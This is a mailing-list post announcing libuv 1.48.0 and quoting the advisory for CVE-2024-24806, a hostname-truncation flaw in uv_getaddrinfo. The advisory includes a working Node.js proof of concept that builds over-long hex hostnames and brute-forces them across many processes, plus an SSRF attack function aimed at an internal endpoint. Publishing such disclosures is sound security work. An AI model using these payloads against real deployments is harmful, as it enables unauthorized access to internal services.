oss-sec mailing list archives
libuv 1.48.0 released, fixes CVE-2024-24806
From: Alan Coopersmith <alan.coopersmith () oracle com>
Date: Thu, 8 Feb 2024 12:15:23 -0800
https://github.com/libuv/libuv/releases/tag/v1.48.0 shows the release yesterday of stable release 1.48.0, including a fix for CVE-2024-24806. https://github.com/libuv/libuv/security/advisories/GHSA-f74f-cvh7-c6q6 offers this information about that CVE:
Affected versions: > 1.45.x Patched versions: v1.48.0 > Summary: The uv_getaddrinfo function in src/unix/getaddrinfo.c (and its windows counterpart src/win/getaddrinfo.c), truncates hostnames to 256 characters before calling getaddrinfo. This behavior can be exploited to create addresses like 0x00007f000001, which are considered valid by getaddrinfo and could allow an attacker to craft payloads that resolve to unintended IP addresses, bypassing developer checks. Details: The vulnerability arises due to how the hostname_ascii variable (with a length of 256 bytes) is handled in uv_getaddrinfo and subsequently in uv__idna_toascii. When the hostname exceeds 256 characters, it gets truncated without a terminating null byte. Depending on the build and runtime environment, it can lead to different exploitation scenarios: 1. For example In some nodejs builds, like the one distributed with Kali Linux, the next byte in memory happens to be a null byte, making the truncated hostname valid. 2. In other builds, the last byte of the hostname is a random value (0-256) but identical in successive calls, and the subsequent byte is a null byte. This situation can be exploited through brute force, especially in production environments where many Node.js instances run in parallel (pm2, kubernetes, etc). 3. Since the last byte is random, there are cases where it's one of 0-9a-f, which makes 16 possible cases (out of 256) useful for calling localhost (127.0.0.x) and potentially bypassing security measures on internal APIs. The same is true for calling other IP-ranges. PoC // nodejs reproduction code: const dns = require('dns'); async function run(ip, exactIP) { let hexIP = ip.split('.').map(x => (+x).toString(16).padStart(2, '0')).join(''); if (!exactIP) { hexIP = hexIP.substring(0, hexIP.length - 1); } const payload = `0x${'0'.repeat(256-hexIP.length-2)}${hexIP}.example.com`; dns.lookup(payload, (err, addr) => { if (err); // not successful else if (addr === ip) console.log('*', addr); else console.log(' ', addr); // resolved to a shifted ip-address }); } if (process.argv[2]) { run ('4.2.2.4', true) // exact match, less probable (P=1/256), for kali-like builds works perfectly // run('127.0.0.1', false); // any 127.0.0.x, higher probability (P=1/32) } else { const cp = require('child_process') for (let i=0; i<1024; ++i) { cp.spawn('node', [process.argv[1], 'x'], { stdio: 'inherit' }); } } Impact Access to Internal APIs: The following code, when deployed in an environment with multiple pods (e.g., Kubernetes), is vulnerable to the attack described above, potentially allowing unauthorized access to internal APIs. const axios = require('axios'); const express = require('express'); const app = express(); app.get('/', async (req, res) => { const url = req.query?.url || ''; if (new URL(url).hostname.endsWith('.example.com')) { try { const { data } = await axios.get(url, { timeout: 3000 }); res.send(data); } catch(e) { res.status(400).send('error'); } } else { res.status(400).send('Invalid url'); } }); app.listen(80); // internal endpoint available only to local IPs // (in reality deployed inside another service) const internalApp = express(); internalApp.get('/secret', (req, res) => { res.send('the secret panel'); }); internalApp.listen(3000); // pm2 start s1.js -i 128 function attack() { for (let i=0; i<128; i++) { const payload = '0x' + '0'.repeat(246) + '7f000001'; fetch(`http://localhost?url=http://${payload}.example.com:3000/secret`) .then(x => x.text()) .then(console.log); } } SSRF Attack: Another scenario involves websites (similar to MySpace) that allows users to have username.example.com pages. Internal services that crawl or cache these user pages can be exposed to SSRF attacks if a malicious user chooses a long vulnerable username. Severity: High CVE ID: CVE-2024-24806 Credits: @arash16 Reporter
-- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris
Current thread:
- libuv 1.48.0 released, fixes CVE-2024-24806 Alan Coopersmith (Feb 08)
- Re: libuv 1.48.0 released, fixes CVE-2024-24806 Salvatore Bonaccorso (Feb 11)